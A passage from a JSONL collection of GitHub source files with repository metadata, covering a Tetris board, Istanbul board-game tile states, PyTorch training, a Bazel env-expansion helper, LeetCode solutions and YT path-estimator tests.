'DELETE':\n\t\t\tnotification.delete()\n\t\t\treturn Response({'detail': 'Deleted'}, status=status.HTTP_200_OK)\n","repo_name":"alexmason528/vinna-web","sub_path":"server/notification/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24921500351","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport sys\n\nfrom openstack_connector_k8s import version\nfrom oslo_log import log as logging\nfrom oslo_config import cfg\nfrom openstack_connector_k8s.conf import CONF\n\nLOG = logging.getLogger(__name__)\nCONF = cfg.CONF\nDOMAIN = \"openstack-connector-k8s\"\n\ndef init(args, **kwargs):\n version_connector = version.version_info.version_string()\n CONF(args=args, project='openstack-connector-k8s', version=version_connector, **kwargs)\n\n\ndef setup_logging():\n logging.setup(CONF, DOMAIN)\n version_connector = version.version_info.version_string()\n LOG.info(\"Logging enabled!\")\n LOG.info(\"%(prog)s version %(version)s\",\n {'prog': sys.argv[0], 'version': version_connector})\n","repo_name":"kevinzs2048/openstack-connector-k8s","sub_path":"openstack_connector_k8s/conf/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"42671139776","text":"import datetime\nimport os\nimport sys\nimport time\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\n\nsys.path.append(os.getcwd())\nLIB_PATH = os.getcwd() + \"/art_library\"\nsys.path.append(LIB_PATH)\n# print(\"sys.path \", sys.path)\nfrom models.cifar10 import Resnet, Vgg\nfrom models.mnist import BaseModel\nfrom models.torch_util import train, validate\n\n\ndef train_model(data, model_name, dataset_train, dataset_test, epochs, device, file_model):\n dataloader_train = DataLoader(dataset_train, batch_size=128, shuffle=True)\n dataloader_test = DataLoader(dataset_test, batch_size=128, shuffle=False)\n print('Train set: {}, Test set: {}'.format(len(dataset_train), len(dataset_test)))\n\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n print('Device: {}'.format(device))\n\n if data == 'mnist':\n model = BaseModel(use_prob=True).to(device)\n elif data == 'cifar10' and model_name == 'resnet':\n model = Resnet(use_prob=True).to(device)\n elif data == 'cifar10' and model_name == 'vgg':\n model = Vgg(use_prob=True).to(device)\n else:\n raise NotImplementedError\n\n optimizer = optim.SGD(model.parameters(), lr=0.01, momentum=0.9, weight_decay=5e-4)\n loss = nn.CrossEntropyLoss()\n scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=epochs)\n\n if not os.path.exists(file_model):\n since = time.time()\n for e in range(epochs):\n start = time.time()\n tr_loss, tr_acc = train(model, dataloader_train, loss, optimizer, device)\n va_loss, va_acc = validate(model, dataloader_test, loss, device)\n scheduler.step()\n time_elapsed = time.time() - start\n print(('{:2d}/{:d}[{:s}] Train Loss: {:.4f} Acc: {:.4f}%, Test Loss: {:.4f} Acc: {:.4f}%').format(\n e + 1, epochs, str(datetime.timedelta(seconds=time_elapsed)), tr_loss, tr_acc * 100., va_loss, va_acc * 100.))\n\n time_elapsed = time.time() - since\n print('Total run time:', str(datetime.timedelta(seconds=time_elapsed)))\n\n torch.save(model.state_dict(), file_model)\n print('Save base model to:', file_model)\n else:\n print('Found existing file:', file_model)\n model.load_state_dict(torch.load(file_model, map_location=device))\n return model\n","repo_name":"changx03/baard_exp2","sub_path":"pipeline/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"3016781843","text":"from constants import *\nfrom stone import StoneFactory\nfrom copy import copy\n\n\nclass Board(object):\n def __init__(self, tetris_app):\n self.board = [[0 for x in xrange(cols)] for y in xrange(rows)]\n self.board_ids = [y for y in xrange(rows)]\n self.app = tetris_app\n self.stone_factory = StoneFactory()\n self.playing_stone = self.stone_factory.generate_stone()\n self.next_stone = self.stone_factory.generate_stone()\n\n def merge_stone(self, stone):\n for cy, row in enumerate(stone):\n for cx, val in enumerate(row):\n self.board[cy+stone.y-1][cx+stone.x] += val\n\n def remove_row(self, id_list):\n for row in id_list:\n del self.board[row]\n self.board = [[0 for i in xrange(cols)]] + self.board\n\n def new_stone(self):\n self.playing_stone = copy(self.next_stone)\n self.next_stone = self.stone_factory.generate_stone()\n if self.__check_collision(self.playing_stone, (self.playing_stone.x, self.playing_stone.y)):\n self.app.gameover = True\n\n def move_stone(self, delta_x):\n if not self.app.gameover and not self.app.paused:\n new_x = self.playing_stone.x + delta_x\n if new_x < 0:\n new_x = 0\n if new_x > cols - self.playing_stone.width:\n new_x = cols - self.playing_stone.width\n if not self.__check_collision(self.playing_stone, (new_x, self.playing_stone.y)):\n self.playing_stone.x = new_x\n\n def drop_stone(self, manual):\n if not self.app.gameover and not self.app.paused:\n self.app.ponctuation.add_extra_points(1) if manual else 0\n self.playing_stone.y += 1\n if self.__check_collision(self.playing_stone, (self.playing_stone.x, self.playing_stone.y)):\n self.merge_stone(self.playing_stone)\n self.new_stone()\n cleared_rows = map(lambda x: x[1],\n filter(lambda x: 0 not in x[0], zip(self.board[:], self.board_ids)))\n self.remove_row(cleared_rows)\n self.app.ponctuation.score_lines(self.app.level, len(cleared_rows))\n return True\n return False\n\n def insta_drop_stone(self):\n if not self.app.gameover and not self.app.paused:\n while not self.drop_stone(True):\n pass\n\n def rotate_stone(self):\n if not self.app.gameover and not self.app.paused:\n next_stone = self.playing_stone.rotate_clockwise()\n if not self.__check_collision(next_stone, (self.playing_stone.x, self.playing_stone.y)):\n self.playing_stone = next_stone\n\n def __check_collision(self, stone, offset):\n off_x, off_y = offset\n for cy, row in enumerate(stone[:]):\n for cx, cell in enumerate(row):\n try:\n if cell and self.board[cy + off_y][cx + off_x]:\n return True\n except IndexError:\n return True\n return False\n\n def __getitem__(self, key):\n return self.board[key]\n\n\n\n","repo_name":"adrianovinhas-zz/ai-tetris","sub_path":"game/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":3154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32964051502","text":"import sys\n\ndef get_reverse_alphabet(alphabet):\n alphabet_list = list(\"-abcdefghijklmnopqrstuvwxyz\")\n alphabet_len = len(alphabet_list)\n alphabet_index = alphabet_list.index(alphabet)\n if alphabet_index < 14:\n return alphabet_list[-alphabet_index]\n else:\n return alphabet_list[alphabet_len-alphabet_index]\n\ncases = int(sys.stdin.readline())\n\nfor _ in range(cases):\n flag = True\n reverse_word = \"\"\n word = sys.stdin.readline().strip().lower()\n\n for w in word:\n if get_reverse_alphabet(w) not in word:\n flag = False\n break\n\n if flag:\n print(\"Yes\")\n else:\n print(\"No\")\n","repo_name":"dydwnsekd/coding_test","sub_path":"baekjoon/python/10176.py","file_name":"10176.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"9480781832","text":"import collections\nfrom typing import Set, Dict, Tuple, List, Optional, Counter\n\nfrom constants import Player, Good, Card, Tile\n\n\nclass TileState(object):\n def __init__(self):\n self.governor: bool = False\n self.smuggler: bool = False\n self.assistants: Set[Player] = set()\n self.family_members: Set[Player] = set()\n self.players: Set[Player] = set()\n\n\nclass GenericTileState(TileState):\n pass\n\n\nclass MosqueTileState(TileState):\n def __init__(self, goods: Set[Good]):\n super(MosqueTileState, self).__init__()\n self.available_tiles: Dict[Good, int] = {good: 2 for good in goods}\n\n def take_action(self, good: Good):\n assert good in self.available_tiles, 'mosque does not have {} tile'.format(good)\n if self.available_tiles[good] < 5:\n self.available_tiles[good] += 1\n else:\n del self.available_tiles[good]\n\n\nclass PostOfficeTileState(TileState):\n MAIL = (\n (Good.RED, Good.GREEN),\n (2, 1),\n (Good.BLUE, Good.YELLOW),\n (2, 1),\n )\n\n def __init__(self):\n super(PostOfficeTileState, self).__init__()\n self.position: int = 0\n\n def available(self) -> Tuple[Set[Good], int]:\n goods = set()\n lira = 0\n for i in range(len(self.MAIL)):\n idx = 0 if self.position > i else 1\n if i % 2 == 0:\n goods.add(self.MAIL[i][idx])\n else:\n lira += self.MAIL[i][idx]\n return goods, lira\n\n def take_action(self) -> Tuple[Set[Good], int]:\n goods, lira = self.available()\n self.position = (self.position + 1) % 5\n return goods, lira\n\n\nclass CaravansaryTileState(TileState):\n def __init__(self):\n super(CaravansaryTileState, self).__init__()\n self.discard_pile: List[Card] = []\n self.awaiting_discard: bool = False\n\n def discard_onto(self, card: Card):\n self.discard_pile.append(card)\n self.awaiting_discard = False\n\n def take_action(self, count: int) -> List[Card]:\n assert not self.awaiting_discard\n assert 0 <= count <= 2\n self.awaiting_discard = True\n if count == 0:\n return []\n assert len(self.discard_pile) >= count\n result = self.discard_pile[-count:]\n self.discard_pile = self.discard_pile[:-count]\n return result\n\n\nclass WainwrightTileState(TileState):\n def __init__(self, extensions: int):\n super(WainwrightTileState, self).__init__()\n self.extensions = extensions\n\n def take_action(self):\n self.extensions -= 1\n assert self.extensions >= 0\n\n\nclass MarketTileState(TileState):\n def __init__(self, one_cost: int):\n super(MarketTileState, self).__init__()\n self.one_cost: int = one_cost\n\n self.expecting_demand: bool = True\n self.demand: Optional[Counter[Good]] = None\n\n def set_demand(self, demand: Counter[Good]):\n assert sum(demand.values()) == 5\n self.demand = demand\n self.expecting_demand = False\n\n def take_action(self, payment: Counter[Good]) -> int:\n assert not self.expecting_demand\n for k in payment:\n assert payment[k] <= self.demand[k]\n self.expecting_demand = True\n count = sum(payment.values())\n return sum(range(self.one_cost, self.one_cost + count))\n\n\nclass SultansPalaceTileState(TileState):\n GOOD_CYCLE = (\n Good.BLUE,\n Good.RED,\n Good.GREEN,\n Good.YELLOW,\n None, # using this to mean any\n )\n\n def __init__(self, init_advanced: bool):\n super(SultansPalaceTileState, self).__init__()\n self.required_count: int = 4 if not init_advanced else 5\n\n def required(self) -> Optional[Counter[Optional[Good]]]:\n assert self.required_count >= 4\n if self.required_count > 10:\n return None # indicating no more rubies available\n\n result: Counter[Optional[Good]] = collections.Counter({None: 0})\n for i in range(self.required_count):\n result[self.GOOD_CYCLE[i % 5]] += 1\n return result\n\n def take_action(self, payment: Counter[Good]):\n required = self.required()\n assert required is not None\n payment = payment.copy()\n assert sum(required.values()) == sum(payment.values())\n for g in payment:\n assert payment[g] >= required[g]\n self.required_count += 1\n\n\nclass GemstoneDealerTileState(TileState):\n def __init__(self, initial_cost: int):\n super(GemstoneDealerTileState, self).__init__()\n self.cost: Optional[int] = initial_cost\n\n def take_action(self):\n assert self.cost is not None\n self.cost += 1\n if self.cost > 24:\n self.cost = None\n\n\ndef initial_tile_state(tile: Tile, player_count: int):\n assert 2 <= player_count <= 5\n if tile in {Tile.FABRIC_WAREHOUSE, Tile.FRUIT_WAREHOUSE, Tile.POLICE_STATION, Tile.FOUNTAIN, Tile.SPICE_WAREHOUSE,\n Tile.BLACK_MARKET, Tile.TEA_HOUSE}:\n return GenericTileState()\n simple_mapping = {\n Tile.POST_OFFICE: PostOfficeTileState,\n Tile.CARAVANSARY: CaravansaryTileState,\n }\n if tile in simple_mapping:\n return simple_mapping[tile]()\n\n if tile is Tile.GREAT_MOSQUE:\n return MosqueTileState({Good.BLUE, Good.YELLOW})\n if tile is Tile.SMALL_MOSQUE:\n return MosqueTileState({Good.RED, Good.GREEN})\n if tile is Tile.SMALL_MARKET:\n return MarketTileState(2)\n if tile is Tile.LARGE_MARKET:\n return MarketTileState(3)\n if tile is Tile.SULTANS_PALACE:\n return SultansPalaceTileState(player_count < 4)\n if tile is Tile.WAINWRIGHT:\n return WainwrightTileState(3 * player_count)\n if tile is Tile.GEMSTONE_DEALER:\n if player_count == 2:\n initial_cost = 15\n elif player_count == 3:\n initial_cost = 14\n else:\n initial_cost = 12\n return GemstoneDealerTileState(initial_cost)\n","repo_name":"nverhaaren/istanbul-game","sub_path":"tiles.py","file_name":"tiles.py","file_ext":"py","file_size_in_byte":6007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12281297953","text":"class Solution:\n def maxSubArray(self, nums: List[int]) -> int:\n sums = 0\n maxi = nums[0]\n for num in nums:\n sums+=num\n maxi = max(sums, maxi)\n if sums<0:\n sums = 0\n return maxi \n","repo_name":"sniper7398/Competative_Coding","sub_path":"45.Maximum_subarray.py","file_name":"45.Maximum_subarray.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1546920205","text":"from typing import Optional\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n @staticmethod\n def reverse_list(node1: Optional[ListNode]) -> Optional[ListNode]:\n \"\"\"\n Reverses a linked list iteratively in linear time and constant space.\n :param node1: Head of a linked list\n :return: Head of reversed linked list\n \"\"\"\n if node1:\n node2, node1.next = node1.next, None\n while node2:\n node1, node2.next, node2 = node2, node1, node2.next\n return node1\n","repo_name":"patricktsandin/leetcode","sub_path":"leetcode/easy/python/reverse_linked_list/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24653108289","text":"# nama = input(\"Masukkan nama: \")\r\n# print(\"Nama anda \",nama)\r\n# print(f\"Nama anda {nama}\")\r\n\r\n# # PROGRAM MENENTUKAN BILANGAN GANJIL ATAU GENAP\r\n\r\n# # mengambil nilai dari user\r\n# x = int(input(\"Masukkan Bilangan: \"))\r\n\r\n# # cek nilai apakah genap atau ganjil dengan modulo\r\n# if x % 2 == 0:\r\n# print(f\"Bilangan {x} adalah bilangan genap.\")\r\n# else:\r\n# print(f\"Bilangan {x} adalah bilangan ganjil.\")\r\n\r\n\r\n\r\n# # inputan dari user\r\n# nilai = int(input(\"Masukkan nilai: \"))\r\n# presensi = int(input(\"Masukkan presensi: \"))\r\n\r\n# # cek kondisi cara 1\r\n# if (nilai >= 81) and (presensi>=12):\r\n# print(\"Nilai akhir anda A\")\r\n# elif (nilai >= 61) and (presensi>=10):\r\n# print(\"Nilai akhir anda B\")\r\n# elif (nilai >= 41) and (presensi>=8):\r\n# print(\"Nilai akhir anda C\")\r\n# elif (nilai >= 21) and (presensi>=6):\r\n# print(\"Nilai akhir anda D\")\r\n# else:\r\n# print(\"Nilai akhir anda E\")\r\n\r\n# # Cara 2\r\n# nilaiHuruf = ''\r\n# if (nilai >= 81) and (presensi>=12):\r\n# nilaiHuruf = 'A'\r\n# elif (nilai >= 61) and (presensi>=10):\r\n# nilaiHuruf = 'B'\r\n# elif (nilai >= 41) and (presensi>=8):\r\n# nilaiHuruf = 'C'\r\n# elif (nilai >= 21) and (presensi>=6):\r\n# nilaiHuruf = 'D'\r\n# else:\r\n# nilaiHuruf = 'E'\r\n\r\n# print(f'Nilai akhir anda adalah {nilaiHuruf}')\r\n\r\ndef selectionCar():\r\n color = input(\"Warna Mobil: \").lower\r\n model = int(input(\"Tahun Model: \"))\r\n mileage = int(input(\"Jarak Tempuh (km): \"))\r\n car = input(\"Merek Mobil: \").lower\r\n decision = ''\r\n\r\n if color==\"blue\":\r\n if model>2015:\r\n decision = 'BELI'\r\n else:\r\n if mileage < 500000:\r\n decision = 'BELI'\r\n else:\r\n decision = 'JANGAN BELI'\r\n elif color==\"red\" and car==\"ferrari\":\r\n decision = 'BELI'\r\n else:\r\n decision = 'JANGAN BELI'\r\n\r\n print(f\"Saran: {decision} mobil tersebut.\")\r\n\r\ndef selectionHome():\r\n familyNum = int(input(\"Jumlah keluarga: \"))\r\n married = input(\"Status menikah (y/t): \").lower\r\n salary = int(input(\"Penghasilan: \"))\r\n decision = ''\r\n\r\n if familyNum > 3:\r\n if married == 'y':\r\n decision = '3BHK'\r\n else:\r\n if salary > 40000:\r\n decision = '2BHK'\r\n else:\r\n decision = '1BHK'\r\n else:\r\n if salary > 80000:\r\n decision = '4BHK'\r\n else:\r\n if married == 'y':\r\n decision = '3BHK'\r\n else:\r\n decision = '2BHK'\r\n print(f\"Anda harus membeli rumah dengan kriteria {decision}\")\r\n\r\nif __name__ == '__main__':\r\n selectionHome()","repo_name":"muhammadzakariyah/alpro","sub_path":"part3_selection.py","file_name":"part3_selection.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33794096826","text":"import numpy as np\nimport argparse\n\n''' Generic parser for classifiers '''\ndef ClassificationParser():\n parser = argparse.ArgumentParser(\n description='Classification Parser',\n )\n parser.add_argument(\n 'train_file',\n type=str,\n help='csv file with training data',\n )\n parser.add_argument(\n 'val_file',\n type=str,\n help='csv file with validation data',\n )\n parser.add_argument(\n 'test_file',\n type=str,\n help='csv file with test data',\n )\n parser.add_argument(\n '--business_csv',\n type=str,\n required=False,\n help='The business csv file to get extra features from.',\n )\n parser.add_argument(\n '--multi_class',\n action='store_true',\n default=False,\n required=False,\n help='multiclass or binary classification',\n )\n parser.add_argument(\n '--frequency',\n action='store_true',\n default=False,\n required=False,\n help='use frequency of presence for bag of words featurization',\n )\n parser.add_argument(\n '--tf_idf',\n action='store_true',\n default=False,\n required=False,\n help='use tf_idf normalization for bag of words featurization',\n )\n return parser\nfrom six.moves import cPickle as pickle\n\n'''\nReturn number of classification errors\n\nArguments pred and labels are both (num_samples, 1) ndarrays.\n'''\ndef classif_err(pred, labels):\n errors = len(pred) - np.count_nonzero(pred == labels)\n return float(errors), float(len(pred) - errors) / len(pred)\n\n\n'''\nAppend classification results to file.\n\nArguments:\n results_file: filepath of file to write to\n params_list: list of dicts containing parameters used {str: *}\n results_list: list of dict containing results {str: *}\n\nExample:\n params_list = [{'gamma':0.1}, {'gamma':0.01}]\n results_list = [{'train':0.99,'test':0.80}, {'train':0.99,'test':0.82}]\n write_results('results.txt', params_list, results_list)\n'''\ndef write_results(results_file, params_list, results_list):\n\n assert len(params_list) == len(results_list)\n\n with open(results_file, 'a') as f:\n for i in range(len(params_list)):\n results = results_list[i]\n params = params_list[i]\n\n params_str = ''\n for k, v in params.items():\n params_str += '%s: %s ' % (k, str(v))\n f.write(params_str + '\\n')\n \n results_str = ''\n for k, v in results.items():\n results_str += '%s: %s ' % (k, str(v))\n f.write(results_str + '\\n')\n f.write('\\n')\n\n'''\nTurns an (n,) numpy array into an (n, 1) numpy array\n\nArguments:\n arr: the original (n,) numpy array\n\nReturns arr as an (n, 1) numpy array, does not mutate arr\n'''\ndef expand(arr):\n return np.reshape(arr, (arr.shape[0], 1))\n\n'''\nLoads serialized python dictionaries.\n\nArguments:\n The pickle file path to load\n\nReturns the training, validation, and test sets\n'''\ndef load_pickled_dataset(pickle_file):\n print(\"Loading datasets...\")\n with open(pickle_file, 'rb') as f:\n save = pickle.load(f)\n\n X_train = save['X_train']\n Y_train_multi = save['Y_train_multi']\n Y_train_binary = save['Y_train_binary']\n X_val = save['X_val']\n Y_val_multi = save['Y_val_multi']\n Y_val_binary = save['Y_val_binary']\n X_test = save['X_test']\n Y_test_multi = save['Y_test_multi']\n Y_test_binary = save['Y_test_binary']\n\n del save # hint to help gc free up memory\n\n return X_train, Y_train_multi, Y_train_binary, X_val, Y_val_multi, Y_val_binary, X_test, Y_test_multi, Y_test_binary\n","repo_name":"zareenc/6.867-project","sub_path":"src/classifiers/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71507363602","text":"\"\"\" Logic to expand env variables (Taken from https://github.com/bazelbuild/bazel/blob/675172439552055398c480990e277bb2f39d6aaa/src/main/starlark/builtins_bzl/common/cc/cc_helper.bzl), Tracking issue: https://github.com/bazelbuild/bazel/issues/16546 \"\"\"\n\ndef _get_expanded_env(ctx, additional_make_variable_substitutions):\n if not hasattr(ctx.attr, \"env\"):\n return {}\n expanded_env = {}\n for k in ctx.attr.env:\n expanded_env[k] = _expand(\n ctx,\n ctx.attr.env[k],\n additional_make_variable_substitutions,\n # By default, Starlark `ctx.expand_location` has `execpath` semantics.\n # For legacy attributes, e.g. `env`, we want `rootpath` semantics instead.\n execpath = False,\n )\n return expanded_env\n\ndef _expand(ctx, expression, additional_make_variable_substitutions, execpath = True):\n idx = 0\n last_make_var_end = 0\n result = []\n n = len(expression)\n for _ in range(n):\n if idx >= n:\n break\n if expression[idx] != \"$\":\n idx += 1\n continue\n\n idx += 1\n\n # We've met $$ pattern, so $ is escaped.\n if idx < n and expression[idx] == \"$\":\n idx += 1\n result.append(expression[last_make_var_end:idx - 1])\n last_make_var_end = idx\n # We might have found a potential start for Make Variable.\n\n elif idx < n and expression[idx] == \"(\":\n # Try to find the closing parentheses.\n make_var_start = idx\n make_var_end = make_var_start\n for j in range(idx + 1, n):\n if expression[j] == \")\":\n make_var_end = j\n break\n\n # Note we cannot go out of string's bounds here,\n # because of this check.\n # If start of the variable is different from the end,\n # we found a make variable.\n if make_var_start != make_var_end:\n # Some clarifications:\n # *****$(MAKE_VAR_1)*******$(MAKE_VAR_2)*****\n # ^ ^ ^\n # | | |\n # last_make_var_end make_var_start make_var_end\n result.append(expression[last_make_var_end:make_var_start - 1])\n make_var = expression[make_var_start + 1:make_var_end]\n exp = _expand_nested_variable(ctx, additional_make_variable_substitutions, make_var, execpath)\n result.append(exp)\n\n # Update indexes.\n idx = make_var_end + 1\n last_make_var_end = idx\n\n # Add the last substring which would be skipped by for loop.\n if last_make_var_end < n:\n result.append(expression[last_make_var_end:n])\n\n return \"\".join(result)\n\ndef _expand_nested_variable(ctx, additional_vars, exp, execpath = True):\n # If make variable is predefined path variable(like $(location ...))\n # we will expand it first.\n if exp.find(\" \") != -1:\n if not execpath:\n if exp.startswith(\"location\"):\n exp = exp.replace(\"location\", \"rootpath\", 1)\n targets = []\n if ctx.attr.data != None:\n targets = ctx.attr.data\n return ctx.expand_location(\"$({})\".format(exp), targets = targets)\n\n # Recursively expand nested make variables, but since there is no recursion\n # in Starlark we will do it via for loop.\n unbounded_recursion = True\n\n # The only way to check if the unbounded recursion is happening or not\n # is to have a look at the depth of the recursion.\n # 10 seems to be a reasonable number, since it is highly unexpected\n # to have nested make variables which are expanding more than 10 times.\n for _ in range(10):\n exp = _lookup_var(ctx, additional_vars, exp)\n if len(exp) >= 3 and exp[0] == \"$\" and exp[1] == \"(\" and exp[len(exp) - 1] == \")\":\n # Try to expand once more.\n exp = exp[2:len(exp) - 1]\n continue\n unbounded_recursion = False\n break\n\n if unbounded_recursion:\n fail(\"potentially unbounded recursion during expansion of {}\".format(exp))\n return exp\n\ndef _lookup_var(ctx, additional_vars, var):\n expanded_make_var_ctx = ctx.var.get(var)\n expanded_make_var_additional = additional_vars.get(var)\n if expanded_make_var_additional != None:\n return expanded_make_var_additional\n if expanded_make_var_ctx != None:\n return expanded_make_var_ctx\n fail(\"{}: {} not defined\".format(ctx.label, \"$(\" + var + \")\"))\n\nexpanded_env = struct(\n get_expanded_env = _get_expanded_env,\n)\n","repo_name":"bazelbuild/rules_swift","sub_path":"swift/internal/env_expansion.bzl","file_name":"env_expansion.bzl","file_ext":"bzl","file_size_in_byte":4681,"program_lang":"python","lang":"en","doc_type":"code","stars":286,"dataset":"github-code","pt":"3"}
+{"seq_id":"36050032952","text":"'''\nservices resource\n'''\n\nfrom renderapi.base_resource import BaseResource\n\nclass ServicesEnvVars(BaseResource):\n '''services env vars resource'''\n\n def get(self, serviceId, deployId=None, limit=20, cursor=None):\n '''get services env vars data\n\n :param str serviceId: Service ID\n :param str deployId: Deploy ID\n :param int limit: Return limit\n :param str cursor: Cursor for serarch (next)\n :return object: Returns requests object\n '''\n path_vars = [serviceId]\n path = self.config.API_ENDPOINTS['services']['envvars']\n return self.make_request(\n 'get',\n path,\n path_vars=path_vars,\n limit=limit,\n cursor=cursor,\n )\n\n def update(self, serviceId, env_vars):\n '''update services env vars resource\n\n :param str serviceId: Service ID\n :param dict env_vars: Deploy ID\n :return object: Returns requests object\n '''\n path_vars = [serviceId]\n path = self.config.API_ENDPOINTS['services']['envvars']\n return self.make_request(\n 'put',\n path,\n path_vars=path_vars,\n request_json=env_vars,\n )\n","repo_name":"abrihter/renderapi","sub_path":"renderapi/endpoints/services_env_vars.py","file_name":"services_env_vars.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"73435633041","text":"\"\"\"\n输入一个链表,按链表值从尾到头的顺序返回一个ArrayList。\n\"\"\"\n# -*- coding:utf-8 -*-\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # 返回从尾部到头部的列表值序列,例如[1,2,3]\n def printListFromTailToHead1(self, listNode):\n # 法一:不该变链表结构,使用栈\n stack = []\n p = listNode\n while p:\n stack.append(p.val)\n p = p.next\n return stack[::-1]\n # stack.reverse()\n # return stack\n\n def printListFromTailToHead2(self, listNode):\n # 法二:不改变链表结构,使用递归,递归本质上是一个栈结构\n res = []\n if not listNode:\n return res\n tail = self.printListFromTailToHead(listNode.next)\n res += tail\n res.append(listNode.val)\n return res\n\n def printListFromTailToHead(self, listNode):\n # 法三:改变链表结构,把链表进行reverse,使用迭代\n pre = None\n while listNode:\n next = listNode.next\n listNode.next = pre\n pre = listNode\n listNode = next\n res = []\n while pre:\n res.append(pre.val)\n pre = pre.next\n return res\n\n","repo_name":"xiaomojie/NowCoder","sub_path":"offer/6.从尾到头打印链表.py","file_name":"6.从尾到头打印链表.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29242713577","text":"import datetime\n\nfrom maps.analyzer.pylibs.test_tools.compare_tables import assert_equal_tables\nfrom maps.pylibs.yt.lib import unwrap_yt_error\nimport maps.analyzer.toolkit.lib.path_time_estimator as path_estimator\nimport maps.analyzer.toolkit.lib.schema as schema\n\n\ndef replace_index_with_track_key(ytc, t, index_to_track_start_time):\n def mapper(r):\n i = r.pop(path_estimator.INDEX)\n r[schema.CLID.name] = 'clid_{}'.format(i)\n r[schema.UUID.name] = 'uuid_{}'.format(i)\n r[schema.TRACK_START_TIME.name] = index_to_track_start_time[i]\n yield r\n\n result = ytc.create_temp_table()\n ytc.run_map(mapper, t, result)\n return result\n\n\ndef test_jams_builder(ytc):\n \"\"\"\n Test of building reversed jams\n \"\"\"\n expected = \"//path_time_estimator/jams_builder1.out\"\n with unwrap_yt_error():\n result = path_estimator.build_reversed_jams(\n ytc,\n travel_times=\"//path_time_estimator/jams_builder1.in\",\n build_jams_kwargs={\n 'max_category': None,\n },\n interpolation_config=path_estimator.IntepolationConfig(\n window=300, horizon=300, window_by=schema.LEAVE_TIME.name\n ),\n engine_config=path_estimator.DEFAULT_ENGINE_CONFIG.patch(\n common_ratio=0.9,\n max_signal_count_for_calculation_with_model=0,\n model_path=None,\n )\n )\n assert_equal_tables(ytc, expected, result, float_columns=[schema.TRAVEL_TIME.name])\n\n\ndef test_path_estimator(ytc):\n \"\"\"\n test of path time estimating algorithm\n \"\"\"\n expected = \"//path_time_estimator/calculate_time_by_paths1.out\"\n with unwrap_yt_error():\n result = path_estimator.calculate_time_by_paths(\n ytc,\n begin_time=None,\n end_time=None,\n routes=\"//path_time_estimator/routes.in\",\n jams=\"//path_time_estimator/jams.in\"\n )\n assert_equal_tables(ytc, expected, result, float_columns=[schema.JAMS_COVERAGE.name, schema.TOTAL_TIME_ESTIMATED.name])\n\n\ndef test_add_future_jams_to_routes(ytc):\n expected = \"//path_time_estimator/add_future_jams_to_routes1.out\"\n with unwrap_yt_error():\n flattened_routes = path_estimator.flatten_routes(\n ytc,\n \"//path_time_estimator/routes.in\",\n key_columns=(path_estimator.INDEX, schema.TRACK_START_TIME.name)\n )\n\n result = path_estimator.add_future_jams_to_routes(\n ytc,\n flattened_routes=flattened_routes,\n jams=\"//path_time_estimator/jams.in\",\n max_jams_age=datetime.timedelta(seconds=61), max_route_duration=datetime.timedelta(hours=3)\n )\n assert_equal_tables(ytc, expected, result, unordered=True)\n\n\ndef test_path_estimator_track_key(ytc):\n \"\"\"\n test of path time estimating algorithm using (clid, uuid, track_start_time) as track key\n \"\"\"\n src_routes = \"//path_time_estimator/routes.in\"\n index_to_track_start_time = {\n r[path_estimator.INDEX] : r[schema.TRACK_START_TIME.name]\n for r in ytc.read_table(src_routes)\n }\n expected = replace_index_with_track_key(\n ytc, \"//path_time_estimator/calculate_time_by_paths1.out\", index_to_track_start_time\n )\n with unwrap_yt_error():\n result = path_estimator.calculate_time_by_paths(\n ytc,\n begin_time=None,\n end_time=None,\n routes=replace_index_with_track_key(ytc, src_routes, index_to_track_start_time),\n jams=\"//path_time_estimator/jams.in\",\n key_columns=(schema.CLID.name, schema.UUID.name, schema.TRACK_START_TIME.name),\n )\n assert_equal_tables(ytc, expected, result, float_columns=[schema.JAMS_COVERAGE.name, 